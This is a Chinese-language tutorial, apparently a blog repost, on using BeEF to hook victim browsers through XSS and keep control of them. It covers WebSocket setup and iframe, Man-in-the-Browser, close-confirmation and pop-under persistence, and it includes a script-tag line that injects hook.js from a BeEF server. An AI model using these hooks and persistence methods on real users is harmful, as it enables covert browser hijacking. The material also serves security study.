xss利用——BeEF#stage2(初始并持续化控制)

??全文概览

??浏览器攻击方法流程

攻击浏览器一般分为几个阶段,如下图

整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击。在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和攻击Web应用。接下来会一章一章的介绍这些内容。这一章介绍初始化控制。

??初始化控制

首先在这一章中会介绍初始化控制的方法。初始化控制也就是想办法让BeEF服务器勾子(还记得上一章的hook.js吗)在用户浏览器中运行,勾子初次运行会收集一些有用的信息返回给服务器,并做好后续准备。初始化控制常见的攻击方法有以下几个:

1.使用XSS攻击

2.使用有隐患的Web应用

3.使用广告网络

4.使用社会工程攻击

5.使用中间人攻击

??持续控制

BeEF在获得对僵尸们的初始化控制后,首要的任务是想办法持续化控制它们。这是因为初始化控制一般只是发生在单个或多个页面内(勾子一般只注入到一个页面或多个页面),一旦用户离开/关闭这个页面,或者关闭浏览器。那么BeEF就失去了控制权。持续化控制也被分为两个方面。一方面是#持久通信,也就是BeEF服务器和僵尸之间通信技术的选择,越高级的通信技术,速度也快。另一方面是#持久存续,也就是想办法使用户尽可能的呆在有勾子的页面。

#持久通信

为了让BeEF服务器与僵尸之间快速的通信(全双工),BeEF提供三种通信的技术。分别是XMLHttpRequest 、WebSocket 、WebRTC。三种方法各有优缺点,下面一一介绍。

使用跨域资源共享

在介绍通信之前,有必要提一下CORS(跨域资源共享)。CORS扩展了一下SOP(同源策略),可以允许页面读取其它来源的HTTP响应。对于被勾连的页面来说,BeEF服务器无疑就是一个异源。为了让浏览器在勾连的页面运行BeEF发送的命令,就需要使用CORS。

BeEF服务器通过在每一个HTTP响应中都包含以下的HTTP首部来实现这一点:

##允许来自任何地方的跨域POST和GET请求
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET

BeEF服务器返回上面的语句,那么浏览器就可以读取其全部HTTP响应。如果没有包含上面的CORS首部,SOP就会阻止读取BeEF服务器返回的数据。这里需要提醒一下,浏览器只是无法跨域读取数据,但是可以发送数据的。也就是说我们可以通过BeEF来操作浏览器向任何域发送HTTP请求,但是不一定能读取返回的HTTP响应。这一点很重要,后面的一些攻击就是用了这一特性。

使用XMLHttpRequest通信

这是BeEF的默认通信技术。原因很简单,几乎所有的浏览器都支持这种技术,兼容性最好,但它也是三种技术中最慢的。读者如果有兴趣可以使用Burp Suite来截取一下BeEF与僵尸的交互数据,就可以更清晰的看到它们的交互过程了。

使用WebSocket通信

WebSocket正如其名,是Web中socket。WebSocket协议是一种非常快 、全双工的通信技术。它比XMLHttpRequest要快。但是某些旧的浏览器是不支持的,IE从10开始支持,Firefox从16.0开始支持,chrome从23.0开始支持。BeEF默认是没有开WebSocket的,需要设置一下。

找到beef的配置文件,kali下是/usr/share/beef-xss/config.yaml, 找到下面选项,并做如下修改。

# Prefer WebSockets over XHR-polling when possible.
        websocket:
            enable: true

重启beef服务器,就生效了。BeEF会根据浏览器是否支持WebSocket,如果支持,那么以后就使用WebSocket来通信。如果不支持,那么就使用XMLHttpRequest来通信。即BeEF会自动选择通信技术,优先选择快速的技术。

使用WebRTC

网页实时通信(Web Real-Time Communication)是一个支持网页浏览器进行实时语音对话或视频对话的技术。这个技术是最快的,但要较新的浏览器才支持。笔者查看了一下配置文件/usr/share/beef-xss/extensions/webrtc/config.yaml,发现好像需要server才行:

查看官方的文档也没有介绍,笔者也不了解WebRTC这项技术,没有使用成功。所以索性把它关了,enable: true 变 enable: false。

除了这三种技术之外还有DNS隧道技术,这是比较隐蔽的通信方式,但是不太稳定。所以这里就不介绍了。实际上有WebSocket技术就已经足够快速了。当然还有一个硬伤,那就是网速,这是无可奈何的了。

#持久存续

选好了通信的渠道,那么接下来要考虑一下如何在用户离开/关闭页面或者关闭浏览器时依旧保持控制。BeEF给出了四个解决的方法,分别是利用IFrame 、浏览器中间人技术、窗口事情处理函数 、动态底层弹出窗口 。单独使用任何一种技术或组合使用这些技术,可以实现对被勾连浏览器的持久控制。

使用IFrame内嵌框架(pass掉)

IFrame是HTML中的一个标签,可以创建包含另外一个文档的内联框架。为了持久的控制,可以创建一个全屏(整个浏览器)的IFrame来把页面放进去。BeEF的作者建议如果想持久化,内嵌框架是首选方案,原因如下:第一,可以完全控制内嵌框架的DOM内容。第二,内嵌框架主要用于在当前页面嵌入其他文档的事实,为持久化提供了直接了当的方法。实际操作一下会更清晰这个方法:

确保开启了BeEF服务器。随便找个网页来做测试(https协议抓包配置又弄丢了2333,于是找了个http协议的),使用Burp拦截Response并在其中插入以下语句。

<script src="http://BeEF server:3000/hook.js" type="text/javascript"></script>

得到初始化控制后,接下来就是使用IFrame内嵌框架技术了,对应的功能模块是Persistence –> Create foreground iFrame, 这个模块不需要任何参数,点击Execute 运行就可以了。

成功执行后,僵尸浏览器这边是没有任何异常的。

理论上:当用户点击新的页面,代码才会执行,会把新的页面放在一个%100宽度,%100高度的iFrame中。缺点是:第一是URL是不会变的,会保持在被钩住的那个页面的URL。第二是经常出现混乱,点击无效等异常(经笔者测试有些网站运行很好,有些就会出现。一些不会使用js动态渲染页面,不会使用ajax动态更新内容的页面会运行的很好),容易被用户察觉。第三个是,如果页面返回的HTTP响应中包含X-Frame-Options等首部,那么内嵌框架的技术就会失效。

笔者亲测:在新的标签页打开页面,和正常的访问没什么两样,刷新或关闭hooked的页面,hooked失连。在原来的页面打开网页,地址和内容将停留在被hooked的页面,将引发僵尸机端用户的刷新或关闭操作,所以然并卵。

鉴于以上种种缺点,笔者个人不推荐这种技术作为首选持久控制的技术。推荐使用下面的技术。

使用浏览器中间人攻击(推荐)

常规页面与MitB(浏览器中间人攻击)中毒页面的区别在于,MitB会异步加载资源,同时保持勾连活动。对于用户来说一切都好像在正常页面中操作一样,很难察觉到有异常。这里要注意一下,如果用户单击了跨域链接,MitB会在浏览器中打开一个新的标签页,并把响应的内容放在新的标签页。下面实际演示一下:

补充一个小插曲,在实际环境中,对方服务器可能会设置防火墙,WAF等,如下。

使用一个名为挑战自我(http://www.tiaozhanziwo.com/)的大牛博客站点来做测试,在得到初始控制后。接下来使用MitB技术了,对应的模块在Persistence –> Man-In-The-Browser,这个模块同样不需要参数,点击就可运行。

访问其他页面后

僵尸浏览器端显示

可以看见这种方式最隐蔽。相应也有缺点,第一无法加载图片,第二是如果导航菜单由js做成,用户点击会导致页面跳转到新页面,BeEF将失去控制权。这是由于MitB实现原理的缺陷导致的。

窗口事情处理函数

简单来说,就是在用户点击关闭当前页面或者关闭浏览器按钮时,弹出一个窗口,来问用户是否要离开,如果用户选择确定要离开,那么就继续弹出窗口,不断的重复。在BeEF中对应的模块是Persistence –> Confirm Close Tab,但是现代的浏览器已经不允许这样反复的弹出窗口了,最多只允许执行一次。笔者在测试时,发现不同浏览器会有不同的反应。firefox和chrome只有在关闭浏览器时才会有弹窗,360浏览器在关闭当前页面或关闭浏览器时都会有弹窗。QQ是最好玩的了,点击关闭当前页面之后,它会打开一个新标签页去加载BeEF服务器的demo页面。搜狗全部都没有弹窗。上面提及的浏览器都是最新版。旧版IE会不停的弹出提示窗口。这种方法虽然最多也只能多维持几秒,但是几秒也是值得争取的。所以笔者推荐把它和上面两种方法的其中一种一起组合使用,这里要注意一下前面介绍的两种方法(MitB和iFrame)是不能同时使用的。

动态底层弹出窗口

这项技术是创建一个新的窗口,然后加载BeEF的示例文件demo/plain.html,这样就可以拥有另一个新的初始化控制了。现代浏览器默认阻止弹出窗口并警告用户弹出窗口已被阻止。但是,对于某些用户启动的事件(例如单击页面),会绕过此检查。所以可以使用点击劫持,当用户点击页面时,就会触发事件,打开新的窗口。这选技术对应的模块是Persistence –> Create Pop Under。虽然它的名字中有under,但是创建出来的窗口却是在前面的。

原文地址:https://www.cnblogs.com/p0pl4r/p/11160387.html

时间: 2024-08-30 06:01:29

xss利用——BeEF#stage2(初始并持续化控制)的相关文章

xss利用——BeEF#stage3(绕过同源策略与浏览器代理)

??绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本身和插件的漏洞入手,一些旧版的浏览器曾被发现有绕过SOP的漏洞,旧版的插件也有类似的情况(JAVA,Adobe Flash等).由于笔者自身能力限制,无法介绍这一方面的相关内容,读者可以自行查阅相关信息.第二个是Web的开发者错误的设置导致,下面介绍这一方面. SOP与DOM[表单访问] js或

Jenkins 持续化部署实例

开始本篇章之前介绍一个写笔记的方法:康奈尔笔记法(新学的,很实用) 在此之前老大让它们弄一个web端更新的界面系统,本来我也打算用django+bootstrap+python实现,但是此时python和bootstrap还没有特别熟悉,目前技术不达标.不过期间碰到了jenkins,一个现成的实现持续交付部署的开源项目(但他的作用可不止如此),赞叹开源界的庞大. -------------------------------------------------------------------

利用Python进行数据分析——数据规整化:清理、转换、合并、重塑(七)(2)

1.索引上的合并 有时候,DataFrame中的连接键位于其索引中.在这种情况下,你可以传入left_index = True或right_index = True(或两个都传)以说明索引应该被用作连接键: In [8]: left1 = pd.DataFrame({'key': ['a', 'b', 'a', 'a', 'b', 'c'], ...: 'value':range(6)}) In [9]: right1 = pd.DataFrame({'group_val':[3.5, 7]},

一个xss利用平台

这是一个project里面收到的cookies 这是设置,支持keep session和用户自定义js 自带测试代码部分 使用python + django,部署0难度. 代码在这里: https://github.com/virusdefender/xsser 一个xss利用平台,码迷,mamicode.com

利用Solr服务建立的界面化站内搜索---solr2

继上次匆匆搭建起结合solr和nutch的所谓站内搜索引擎之后,虽当时心中兴奋不已,可是看了看百度,再只能看看我的控制台的打印出每个索引项的几行文字,哦,好像差距还是有点大…… 简陋的信息显示环境最起码给了我一个信号,这条路没有走错,好吧,让我们来继续探索搜索引擎的奥秘吧. 上期回顾:上次主要是介绍了solrj,通过solrj的api与solr服务器进行通信,获取服务器上的索引数据以及在编写程序中遇到的一些问题和解决方法.本期主要是建立与solr服务器的通信,提供搜索界面输入关键字或搜索规则,根

WWF的持续化

WWF提供的持续化功能会自动记录工作流实例以及它包含的所有活动的执行状态,这些状态并不是指工作流上流转的表单所呈现的业务逻辑状态.WWF持续化功能就是将未执行完成的工作流实例以及该实例中各种活动的状态,以文件或数据库方式进行存储,待需要的时候再重新将其加载回工作流运行时容器Runtime中.运行完毕才删除. 在具体操作中通过"SqlWorkflowPersistenceService"类来实现持续化的功能,基于数据库,其他数据库需重新实现接口. 一.创建SqlPersistenceSe

利用Travis CI+GitHub实现持续集成和自动部署

前言 如果你手动部署过项目,一定会深感持续集成的必要性,因为手动部署实在又繁琐又耗时,虽然部署流程基本固定,依然容易出错. 如果你很熟悉持续集成,一定会同意这样的观点:"使用它已经成为一种标配". 什么是持续集成 Continuous Integration(CI) is a development practice that requires developers to integrate code into a shared repository several times a d

漏洞利用:验证绕过,XSS利用,Cookic盗用,文件上传

1.      文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传成功 测试:访问文件,执行代码 2.      验证码绕过 首先将秘钥添加到配置文件 低级别 step值1,有验证,step值2,无验证,所以将数据包step值修改为2,然后发送即可绕过. 中级别 将数据包step值修改为2,并添加passed_captch=true,然后发送即可绕过. 3.   

利用基于@AspectJ的AOP实现权限控制

一. AOP与@AspectJ AOP 是 Aspect Oriented Programming 的缩写,意思是面向方面的编程.我们在系统开发中可以提取出很多共性的东西作为一个 Aspect,可以理解为在系统中,我们需要很多次重复实现的功能.比如计算某个方法运行了多少毫秒,判断用户是不是具有访问权限,用户是否已登录,数据的事务处理,日志记录等等. AOP的术语 连接点(Joinpoint) 程序执行的某个特殊位置:比如类开始初始化前,类初始化后,某个方法调用前,调用后等. 连接点 可 以 理解